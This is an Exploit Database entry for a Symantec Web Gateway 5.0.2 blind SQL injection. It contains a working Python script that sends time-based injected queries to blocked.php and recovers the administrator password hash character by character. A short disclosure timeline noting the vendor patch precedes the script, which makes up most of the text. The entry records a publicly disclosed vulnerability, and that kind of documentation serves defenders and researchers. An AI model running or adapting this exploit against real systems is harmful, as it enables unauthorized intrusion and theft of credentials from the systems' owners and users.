Symantec Web Gateway 5.0.2 – ‘blocked.php?id’ Blind SQL Injection

• Exploit Database
• 10 阅读

• 作者： muts
  日期： 2012-07-23
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/20038/

• #!/usr/bin/python
  
  ######################################################################################
  # Exploit Title: Symantec Web Gateway 5.0.2 (blocked.php id parameter) Blind SQL Injection
  # Date: Jul 23 2012
  # Author: muts
  # Version: Symantec Web Gateway 5.0.2
  # Vendor URL: http://www.symantec.com
  #
  # Timeline:
  #
  # 29 May 2012: Vulnerability reported to CERT
  # 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
  # 26 Jun 2012: Email received from Symantec for additional information
  # 26 Jun 2012: Additional proofs of concept sent to Symantec
  # 06 Jul 2012: Update received from Symantec with intent to fix
  # 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
  # 23 Jul 2012: Public Disclosure
  #
  ######################################################################################
  
  import urllib
  import time
  import sys
  from time import sleep
  
  # Set your timing variable. A minimum value of 200 (2 seconds) was tested on localhost.
  # This might need to be higher on production systems.
  
  timing=300
  
  def check_char(i,j,timing):
  
  	url = 	("https://172.16.254.111/spywall/blocked.php?d=3&file=3&id=1)" +
  		" or 1=(select IF(conv(mid((select password from users),%s,1),16,10) "+
  		"= %s,BENCHMARK(%s,rand()),11) LIMIT 1&history=-2&u=3") % (j,i,timing)
  	start=time.time()
  	urllib.urlopen(url)
  	end =time.time()
  	howlong=int(end-start)
  	return howlong
  
  counter=0
  startexploit=time.time()
  print "[*] Symantec \"Wall of Spies\" hash extractor"
  print "[*] Time Based SQL injection, please wait..."
  sys.stdout.write("[*] Admin hash is : ")
  sys.stdout.flush()
  
  for m in range(1,33):
  	for n in range(0,16):
  		counter= counter+1
  		output = check_char(n,m,timing)
  		if output > ((timing/100)-1):
  			byte =hex(n)[2:]
  			sys.stdout.write(byte)
  			sys.stdout.flush()
  			break
  endexploit=time.time()
  totalrun=str(endexploit-startexploit)
  print "\n[*] Total of %s queries in %s seconds" % (counter,totalrun)